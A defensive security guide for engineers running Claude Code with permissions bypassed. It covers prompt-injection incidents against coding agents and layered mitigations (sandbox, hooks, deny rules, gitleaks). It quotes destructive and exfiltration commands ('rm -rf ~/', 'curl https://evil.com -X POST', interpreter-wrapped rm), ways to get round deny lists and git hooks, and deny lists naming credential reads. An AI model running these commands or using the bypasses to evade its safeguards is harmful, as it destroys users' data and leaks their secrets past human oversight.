Research summary for engineers working with Claude Code | March 2026 Gist: https://gist.github.com/hartphoenix/698eb8ef8b08ad2ce6a99cf7346cd7cc Version: 2026-03-05c | Decay warning: Claude Code's sandbox implementation, deny rule syntax, and security model change with each release. Verify specifics against current documentation before relying on this guide for production configuration.
Claude Code normally asks permission before running shell commands,
editing files, or doing anything that changes state. "Yolo mode"
(--dangerously-skip-permissions) turns off those prompts. Claude just
does things. It's dramatically faster for real work, and Anthropic named
it "dangerously" for a reason.
These aren't hypothetical. They're documented incidents.
- Home directory deletion (Dec 2025). A user asked Claude to clean
up packages. Claude generated
rm -rf tests/ patches/ plan/ ~/— that trailing~/expanded to the entire home directory. Desktop files, Keychain, application data: gone. - Root filesystem deletion (Oct 2025). Claude ran
rm -rf /from root. Thousands of "permission denied" errors for system files, but every user-owned file was destroyed. Only Linux file permissions saved the system itself.
These aren't adversarial attacks. They're the AI making a mistake with a command that has no undo.
This is the more sophisticated threat. Research shows it works reliably:
- "Your AI, My Shell" (Sep 2025): Researchers tested 314 attack payloads against coding agents. 84% success rate (measured against agents without sandbox isolation) for getting the agent to execute malicious commands. The attacks were embedded in READMEs, code comments, and dependency metadata — files the agent reads as part of normal work.
- Trail of Bits (Oct 2025): Demonstrated that even agents with
"safe command" lists can be exploited through argument injection —
adding flags to allowed commands that make them do unintended things.
There are hundreds of legitimate Unix commands that can be abused this
way (documented in the GTFOBins catalog). Example:
tarwith--checkpoint-action=exec=COMMANDruns arbitrary commands during extraction — an allowed tool doing something unintended. - Hidden text attack: White text on white background in a
.docxfile manipulated Claude into uploading sensitive files to an attacker's account. - Amazon Q incident (Jul 2025): A malicious pull request was merged into Amazon's AI coding extension. It injected instructions to delete user files and wipe AWS resources. Published to ~1 million users. A syntax error in the malicious code prevented execution — not a security system, just luck.
Security researchers have systematically tested defenses against prompt injection:
- "The Attacker Moves Second" (Oct 2025): Tested optimization techniques against 12 recent defenses. Attack success rate above 90% (measured against agents without sandbox isolation) when attackers adapt to the specific defense.
- NAACL 2025: Evaluated 8 defenses. All bypassed with >50% success using adaptive attacks.
The takeaway: any defense that depends on recognizing the attack will eventually fail against someone who studies that specific defense. Defenses that structurally prevent harm regardless of attack pattern are the ones that hold up.
The viable approach isn't a single safeguard — it's layers that catch different failure modes. If one fails, the others still protect you.
Your operating system can restrict what a process is allowed to do at a level the process can't override. On macOS, this is called "Seatbelt" — it's the same system that sandboxes iOS apps. On Linux, it's a combination of namespaces, seccomp, and bubblewrap.
Claude Code's sandbox:
- Blocks writes outside your project folder. Claude can't touch your shell config, SSH keys, or other projects.
- Routes all network through a proxy. Only approved domains are reachable. Claude can't connect to an attacker's server.
- Children inherit restrictions. A command Claude runs can't spawn
something that escapes the sandbox. (Note: commands in
excludedCommands, likegh, run unrestricted even when invoked by child processes.)
This is the only defense that survives prompt injection. It doesn't need to recognize the attack — it prevents the harm structurally.
Enable with "sandbox": { "enabled": true } in
~/.claude/settings.json, or type /sandbox in a session (per-session
only).
A hook that runs before every shell command, checking against a library
of dangerous patterns. Open source, written in Rust, sub-millisecond
latency. Catches rm -rf, force-push, credential exposure, and
49+ categories of destructive commands.
Install: https://github.com/Dicklesworthstone/destructive_command_guard
A PreToolUse hook that forces human confirmation for operations that are security-sensitive but have legitimate uses. Unlike deny rules (which block entirely), this allows the operation after the human reviews it. Works in bypass mode because hooks execute before permission checks.
Gates three categories: context-file writes (CLAUDE.md, settings.json,
skills, references, hooks), security-sensitive commands (bash -c,
sh -c, certain gh subcommands, git config security keys), and
.env file modifications.
Design principle: Deny = no legitimate use case (hard block). Ask = legitimate but security-sensitive (human confirms).
Commands and file paths in settings.json that Claude is never allowed
to use, regardless of permission mode. These are Claude Code-level
restrictions (above the OS layer). They use glob matching against
command strings.
Example:
{
"permissions": {
"deny": [
"Bash(rm -rf *)",
"Bash(sudo *)",
"Bash(git push --force*)",
"Bash(git commit -a*)",
"Bash(git commit --no-verify*)",
"Bash(git commit -n *)",
"Bash(git commit -n)",
"Bash(cat .env*)",
"Read(~/.ssh/**)",
"Edit(~/.bashrc)",
"Write(~/.bashrc)"
]
}
}Note: Edit() and Write() deny rules are independent — blocking one
does not block the other. Every protected path needs both.
Deny rules are evaluated first — before allow rules, before the sandbox.
Caveat: Deny rules are bypassable through argument injection, variable expansion, and similar techniques. They reduce friction and catch obvious mistakes. They are not a substitute for the sandbox.
A global git pre-commit hook that scans staged files for secret patterns
using gitleaks (brew install gitleaks). Catches API keys, tokens,
private keys, and high-entropy strings across 160+ detectors.
This is the structural defense against the .gitignore edit + git add
- push attack chain — it scans file content, not filenames, regardless of how files were staged.
Gitleaks was chosen over TruffleHog and Talisman for sandbox
compatibility: it makes zero network calls during scanning (TruffleHog's
credential verification hits the sandbox proxy) and installs via
Homebrew (Talisman requires curl | bash).
Install globally:
brew install gitleaks
mkdir -p ~/.git-hooks
# Write pre-commit hook script to ~/.git-hooks/pre-commit
# (see companion guide for full script)
chmod +x ~/.git-hooks/pre-commit
git config --global core.hooksPath ~/.git-hooksImportant: Deny rules must also block git commit --no-verify and
git commit -n — otherwise Claude (or a prompt injection) can skip the
hook entirely. See Layer 4.
A global git pre-push hook that scans commits being pushed for secrets
that bypassed the pre-commit check — commits made before gitleaks was
installed, or commits from other machines. Uses gitleaks git --log-opts to walk the commit range. Skips branch deletions.
This complements Layer 5: the pre-commit hook catches secrets at staging time; the pre-push hook catches secrets in historical commits at push time. Together they cover both the live and retrospective cases.
Install alongside the pre-commit hook:
# Write pre-push hook script to ~/.git-hooks/pre-push
# (see companion guide for full script)
chmod +x ~/.git-hooks/pre-push
# No additional git config needed — core.hooksPath already set| Threat | Sandbox | DCG | Guard hook | Deny rules | Pre-commit | Pre-push |
|---|---|---|---|---|---|---|
rm -rf ~/ |
Blocked (write outside cwd) | Blocked (pattern match) | N/A | Blocked (glob match) | N/A | N/A |
| Read SSH keys | Blocked (path restriction) | N/A | N/A | Blocked (Read deny) | N/A | N/A |
| Force push to main | N/A | Blocked (git pack) | N/A | Blocked (glob match) | N/A | N/A |
| Exfil via curl POST | Blocked (proxy) | Blocked (pattern) | N/A | Blocked (glob match) | N/A | N/A |
python -c 'os.system("rm -rf /")' |
Blocked (write outside cwd) | Partially caught | N/A | Not caught | N/A | N/A |
| Edit .gitignore + git add + push secrets | NOT blocked (all in cwd) | Partially caught | N/A | Blocked (bulk staging + --no-verify) |
Blocked (content scan) | Blocked (history scan) |
git commit --no-verify to skip hooks |
N/A | N/A | N/A | Blocked | N/A (bypassed) | N/A (bypassed) |
| Add attacker remote + push history | N/A | N/A | N/A | Blocked (remote mutation + direct-URL push) | N/A | Blocked (scans pushed commits) |
git config remote.* or env var override |
.git/config auto-blocked | N/A | N/A | Blocked (config + env var rules) | N/A | N/A |
git fast-export / git bundle create |
N/A | N/A | N/A | Blocked | N/A | N/A |
| Prompt injection reading project files | NOT blocked (working dir is readable) | N/A | N/A | N/A | N/A | N/A |
| Prompt injection writes to CLAUDE.md/skills | NOT blocked (allowWrite) | N/A | Ask-gated | N/A | N/A | N/A |
bash -c wrapping blocked commands |
Blocked (sandbox constrains child) | Partially caught | Ask-gated | Not caught | N/A | N/A |
| Modify .env to redirect app traffic | NOT blocked (cwd is writable) | N/A | Ask-gated | N/A | N/A | N/A |
Modify package.json scripts then bun run |
NOT blocked (cwd is writable) | N/A | N/A | N/A | N/A | N/A |
| Secrets in notebook cell outputs | NOT blocked (cwd is readable) | N/A | N/A | N/A | N/A | N/A |
The sandbox is the only layer that catches novel attacks — because it doesn't need to recognize the command, it prevents the outcome.
Note on the .gitignore attack chain: A prompt injection could edit
.gitignore to remove .env, then stage and push secrets. The deny
rules block bulk staging (git add -A, git add ., git add --all,
git add ./, git add :/), staging-via-commit (git commit -a,
git commit --all), hook bypass (git commit --no-verify,
git commit -n), and direct staging of secret-named files. But the
structural defense is the gitleaks pre-commit hook (Layer 5), which
scans staged file content for secret patterns regardless of filename or
how the files were staged.
As of March 2026, the VS Code extension (sidebar and extension panel)
has a long-standing bug where it does not enforce ~/.claude/settings.json
rules. Both allow and deny rules are affected. defaultMode: bypassPermissions has no effect; explicit deny rules for files and
commands are not enforced. Project-level .claude/settings.json and
.claude/settings.local.json have the same problem.
This means all six safety layers described in this document may be inactive in sidebar sessions: the sandbox may not be enabled, deny rules are not enforced, and hooks may not execute. The extension uses a separate permission evaluation pathway from the CLI that is not connected to the settings.json configuration system.
At least 10 issues have been filed on anthropics/claude-code (July
2025 – Feb 2026) with no Anthropic engineer response on any of them.
The VS Code settings claudeCode.allowDangerouslySkipPermissions and
claudeCode.initialPermissionMode exist but are unreliable across
versions — Read/Glob/Grep sometimes respond, but Bash/Write/Edit
(the tools that actually need guardrails) often ignore them.
There is no reliable workaround. Use the terminal CLI for any session where your safety configuration matters.
When Claude finishes writing a plan, it presents a modal with numbered options. In bypass mode, the default (pre-selected, activated by spacebar or Enter) is "Yes, clear context and bypass permissions". This is the most destructive available action: it clears the entire conversation history and bypasses all permission checks. It fires on a single keystroke.
The modal appears asynchronously — while the user may be typing a follow-up prompt or doing other terminal work. The focus-stealing mechanism is documented in #28722 (AskUserQuestion steals focus and triggers unintended selection) and #10971 (prevent prompts from appearing while user is typing — closed as "not planned"). An errant keystroke fires the default. This happens multiple times per day in active use.
Why this is a safety issue, not just a UX annoyance: The sandbox,
deny rules, and hooks are designed to constrain what Claude can do.
The plan modal operates above all of those layers — it's a UI element
that can clear context (destroying the conversation that informed the
plan) and escalate permissions (bypassing whatever mode the user
configured) in a single accidental keystroke. Plan mode cannot be
avoided: Claude enters it automatically for complex tasks, and
planning produces dramatically better results than unstructured
prompting. The modal cannot be suppressed, reconfigured, or made
safe through any setting in settings.json or keybindings.json.
Prior issues: At least 20 issues filed on anthropics/claude-code
document this problem cluster:
- #18523 — configurable default option (13 thumbs up, open)
- #18599 — change the default (28 thumbs up, open)
- #28722 — focus-stealing triggers unintended selection (open)
- #10971 — prevent dialogs while user is typing (closed, not planned)
- #9701 —
ExitPlanModetool returns "User has approved your plan" when no approval was given, then executes restricted operations (closed as duplicate of #6495, Security Vulnerability: Permissions Bypass via ExitPlanMode) - #19530 — context cleared regardless of which option user selected (confirmed bug, fixed)
- #27242 — no mechanism to recover context after plan-mode clear (140+ thumbs up across related issues, no Anthropic response)
Mitigation: None at the configuration level. The only defense is user vigilance: do not press Enter or spacebar reflexively when the modal appears. Arrow to the intended option first.
-
Your project directory. The sandbox allows full read/write within your working directory. If you have
.envfiles with real secrets there, they're accessible. -
Approved network domains and gh exclusion. If you approve
github.com(and you will), a prompt injection could theoretically push data to an attacker-controlled repo via the GitHub API. Additionally,ghis inexcludedCommands— meaning allghcommands run entirely outside the sandbox with no network proxy restriction. The deny rules blockgh gist create,gh api POST/PUT/PATCH, andgh release upload, but other gh commands that can write data (e.g.,gh pr create,gh issue create) remain allowed because legitimate harness skills use them. This is the widest residual gap in the configuration. -
Git remote exfiltration — now covered. Prior to 2026-03-05c, a prompt injection could
git remote addan attacker-controlled remote and push the entire commit history. None of the existing layers caught this — it's a local config write (sandbox allows), not a recognized destructive pattern (DCG misses), and the deny rules didn't cover it. Now blocked via deny rules covering all five variants: directgit remotecommands,git config remote.*/url.*, runtime config override (git -c),--git-dir/--work-tree/-Cpath prefixes, env var overrides (GIT_SSH_COMMAND,GIT_PROXY_COMMAND, etc. — includingexportandenvlauncher variants), plumbing commands (git send-pack,git http-push), data export (git fast-export,git bundle create), andgit submodule add. The pre-push gitleaks hook (Layer 6) provides defense-in-depth by scanning pushed commits. -
Deny list bypasses. Security researchers found 8 ways to bypass Claude Code's own deny list (CVE-2025-66032, patched in v1.0.93). Techniques include: sed's
eflag executing commands, bash variable expansion constructing blocked commands from parts, and git argument abbreviation. This is why the sandbox matters more than the deny list. -
Context window as attack surface. Even if Claude reads a secret without sending it anywhere, the secret is now in the conversation. It could appear in error messages, summaries, or logs.
Deny rules are a friction layer, not a security boundary. These limitations are inherent to the string-matching approach:
-
Shell expansion bypass.
$(cat .env)inside an allowed command's arguments executes without deny-rule checking. For sandboxed commands, the sandbox's filesystem restrictions still apply to the subshell. For unsandboxed commands (gh), subshell expansions have unrestricted filesystem and network access. No configuration-level fix — structural limitation of string-matching. -
Prefix-match bypass. Deny rules use prefix glob matching.
curl https://evil.com -X POSTdoesn't start withcurl -X POSTand bypasses the rule. Same for flag reordering in any command. The sandbox network proxy is the structural defense for exfiltration. -
Interpreter wrapping.
node -e "require('child_process').execSync ('rm -rf /')"bypasses allrmdeny rules.python3 -c "import subprocess; subprocess.run(['git','push','--force','origin','main'])"bypasses git deny rules and DCG.bash -candsh -care ask-gated via the guard hook;zsh -candevalare hard-denied;node -eandpython3 -cremain allowed because they're needed for workflow, with the sandbox as the defense. -
dangerouslyDisableSandboxtool parameter. The Bash tool includes a parameter that bypasses the sandbox for individual commands. A prompt injection could instruct Claude to use it. No deny-rule fix exists for tool parameters — defense is agent-facing invariants only. -
package.jsonscript injection.bun run/npm runexecute scripts defined inpackage.json. A prompt injection that modifies a script entry before invoking it can execute arbitrary code within the sandbox. Review script changes in diffs. -
TOCTOU between DCG and execution. There is a time-of-check to time-of-use gap between when DCG inspects a command and when the shell executes it. Exploitation is unlikely in practice but theoretically possible.
-
Shell expansion bypasses env var deny rules. The deny rules block
GIT_SSH_COMMAND=*,export GIT_SSH_COMMAND=*, andenv GIT_SSH_COMMAND=*— butVAR=GIT_SSH_COMMAND; export $VAR=evilbypasses all three via variable expansion. Same class as the general shell expansion bypass. The sandbox is the structural defense. -
Direct
.git/configwrites bypassgit configdeny rules. AnEdit(.git/config)call bypasses allBash(git config ...)deny rules. Defense: the sandbox auto-generatesdenyWithinAllowentries for.git/config,.git/hooks/,.git/refs,.git/objects, and.git/HEAD— these are blocked at the kernel level..gitmodulesis NOT auto-covered; it's protected bysandbox.filesystem.denyWriteand the guard hook.
Attacks that survive across sessions are more dangerous than single- session exploits because the attacker's payload keeps executing without re-injection.
-
~/.claude/CLAUDE.mdwrite. This global instruction file shapes all future sessions in all projects. A prompt injection that appends instructions here achieves persistent cross-session compromise. Defense: guard hook gates all writes with "ask" (human confirmation). -
Skill/reference/hook file modification. Under bypass mode with
autoAllowBashIfSandboxed, Bash writes to the weft root execute without approval. Files in.claude/skills/,.claude/references/, and.claude/hooks/are instruction-bearing — they shape Claude's behavior or auto-execute on session events. Defense: guard hook. -
git config --localhook redirection.git config core.hooksPath /dev/nulldisables all git hooks including pre-commit secret scanners. Persists in.git/configacross sessions. Defense: ask- gated via guard hook forcore.hooksPathandcredential.*; hard- denied foralias.*andcore.sshCommand. -
Postinstall scripts inheriting
allowWrite. A malicious npm package's postinstall script runs inside the sandbox but can write to any path inallowWrite— including~/.claude/CLAUDE.mdand skill files. The guard hook doesn't cover writes from child processes. Defense: documented accepted risk; narrowingallowWriteis a future option if this becomes a live threat.
- Each model update changes which prompt injections work. No one tracks this systematically.
- If a previous session left poisoned config files in a repo (
.claude/directory,.cursorrules), they affect future sessions silently. - MCP tool integrations have their own attack surface (early studies found ~7% of MCP servers vulnerable).
- WebFetch as second-stage injection. A prompt injection in a project file can direct Claude to fetch a URL containing further injection payloads. The sandbox network proxy prompts for domain approval, but the domain may appear legitimate.
defaultMode: bypassPermissionsapplies globally. Every repo opened with Claude Code runs in bypass mode, including repos cloned for review. The--dangerously-skip-permissionsCLI flag provides a per-session checkpoint instead.- Project-level settings merge behavior. Whether a project's
.claude/settings.jsoncan expandallowWritepaths or remove global deny rules is not documented. If project settings are merged additively for allow paths, a malicious repo could grant itself write access to sensitive paths. settings.jsonintegrity. Malformed JSON insettings.jsonmay silently drop all deny rules. After manual edits, validate withpython3 -m json.tool < ~/.claude/settings.json. Keep a backup./tmpas a side channel. Files written to/tmpare world-readable and persist until reboot. Verify whether the Seatbelt profile restricts/tmpwrites. Don't write sensitive data there.- Notebook output secrets. Jupyter notebook cell outputs can contain secrets from prior execution (API keys in stack traces, database URLs in connection logs). Deny rules don't cover secrets embedded in notebook outputs — they enter the context window when Claude reads the notebook.
{
"permissions": {
"defaultMode": "bypassPermissions",
"deny": [
"Bash(rm -rf *)",
"Bash(sudo *)",
"Bash(git push --force*)",
"Bash(git reset --hard*)",
"Bash(git commit -a*)",
"Bash(git commit --no-verify*)",
"Bash(git commit -n *)",
"Bash(git commit -n)",
"Bash(cat .env*)",
"Read(~/.ssh/**)",
"Read(./.env)",
"Edit(~/.bashrc)",
"Write(~/.bashrc)"
]
},
"sandbox": {
"enabled": true,
"excludedCommands": ["gh:*"]
}
}This gives you sandbox isolation + the highest-value deny rules including Write/Edit parity, Bash credential-read blocking, and hook-bypass prevention. Covers roughly 80% of documented risk with near-zero friction.
Important: gh must be excluded from the sandbox due to macOS TLS
issues under Seatbelt. Use "excludedCommands": ["gh:*"] — the
wildcard suffix is required; plain ["gh"] only skips the filesystem
profile, not the network proxy
(#10524).
All gh commands run outside the sandbox with no network restriction.
Add gh deny rules (see Pareto frontier item 6) or accept the residual
risk.
GH_TOKEN alias. The sandbox also blocks keychain access, so gh
can't authenticate via its default credential store. Store your GitHub
PAT in macOS Keychain and fetch it at launch time — never hardcode
tokens in shell config:
# Store once:
security add-generic-password -a "gh-token" -s "claude-gh-token" -w "<your-pat>" -U
# Alias (add to ~/.zshrc):
alias cc='GH_TOKEN=$(security find-generic-password -a "gh-token" -s "claude-gh-token" -w) claude --dangerously-skip-permissions'The security expansion runs in your shell at launch, outside the
sandbox. Claude receives the token as an env var but can't read the
source — security find-generic-password is hard-denied, and
~/Library/Keychains is in the sandbox read deny list. This also
enables git push/pull/fetch when gh is configured as git's
credential helper (gh auth setup-git).
Before using with real secrets, install gitleaks as a global pre-commit hook (see Layer 5) — the deny rules reduce staging risk but are not a substitute for structural content scanning.
See the companion guide "A Safer YOLO" for the complete deny list with rationale for each category, full gitleaks installation instructions, and weft harness integration details.
These restrictions cover most documented harm:
- Zero-access to credential paths (~/.ssh, ~/.aws, .env files) —
via Read deny rules AND Bash credential-read rules (
cat .env*etc.) - Block destructive git (force-push, hard reset, force-clean, branch -D)
- Block bulk git staging (git add -A, --all, ., ./, :/) AND staging-via-commit (git commit -a, --all)
- Block recursive deletion outside safe paths (rm -rf, rm --recursive, find -delete, find -exec rm)
- Block sudo — Claude never needs root
- Block outbound data transfer (curl POST/PUT/--json/-F, scp, netcat, gh gist create, gh api POST)
- Shell config protection — both Edit AND Write deny rules for every shell config path
- Narrow sandbox allowWrite — only directories that need runtime writes (weft root, global CLAUDE.md, weft config)
Plus structural defenses outside the deny list:
9. Pre-commit secret scanner (gitleaks) — catches secrets entering
git regardless of how they were staged. Chosen for sandbox
compatibility (no network calls during scanning). See Layer 5.
10. Pre-push secret scanner (gitleaks) — catches secrets in
historical commits at push time. Defense-in-depth for Layer 5.
See Layer 6.
11. Hook bypass prevention — deny git commit --no-verify and
git commit -n so Claude can't skip the pre-commit scanner
12. Guard hook — PreToolUse hook returning "ask" for writes to
instruction-bearing files (CLAUDE.md, skills, references, hooks,
.gitmodules), security-sensitive commands (bash -c, certain
gh/git config ops), and .env file modifications. The intermediate
between deny and allow.
13. Settings self-modification deny — hard block Edit/Write to
settings.json. If Claude can modify its own config, a prompt
injection can disable all other protections.
14. Expanded gh deny rules — hard block for gh alias, codespace,
ssh-key, gpg-key, deploy-key (no legitimate use); ask-gated
for repo create, secret set, variable set, run rerun.
15. Git remote exfiltration deny rules — block all remote mutation
(git remote add/set-url/rename/remove), direct-URL push, config-
based remote manipulation, --git-dir/--work-tree/-C variants,
env var overrides (bare, export, env), plumbing push, data
export, and git submodule add. See Layer 4 + threat matrix.
Everything beyond these has diminishing returns and increasing friction.
| Finding | Source | Evidence quality |
|---|---|---|
| 84% attack success rate against coding agents | "Your AI, My Shell" (2025) | Empirical, systematic |
| 90%+ bypass rate against adaptive defenses | "Attacker Moves Second" (2025) | Empirical, replicated across 12 defenses |
| Only 1.1% of yolo users have deny rules | UpGuard analysis of 18,470 public configs | Empirical, large sample |
| 76% incident rate for over-privileged AI vs. 17% for least-privilege | CISO survey (N=205) | Empirical, survey |
| 8 ways to bypass Claude Code's own deny list | Flatt Security (2025) | Empirical, demonstrated |
| $500K lost to malicious Cursor extension | Kaspersky/Securelist (2025) | Empirical, single incident |
- UpGuard: Hidden Risks in Claude Code Permissions
- Thomas Wiegold: Why YOLO Mode Is Dangerous
- DevOps.com: Security Flaws in Claude Code
- Your AI, My Shell (arxiv.org/abs/2509.22040)
- The Attacker Moves Second (arxiv.org/abs/2510.09023)
- Trail of Bits: Prompt Injection to RCE
- Flatt Security: Pwning Claude Code in 8 Ways
- NAACL 2025: Adaptive Attacks Break Defenses
- Claude Code Sandboxing
- Claude Code Settings
- Claude Code Security
- Anthropic Engineering: Claude Code Sandboxing
the bypass research here is really sharp. CVE-2025-66032 is a good reminder that deny-lists are a weak control surface tbh. immunity-agent layers policy enforcement at the hook level with an updatable threat feed so the rules stay current as bypass techniques evolve. worth a look if you're trying to harden yolo-mode setups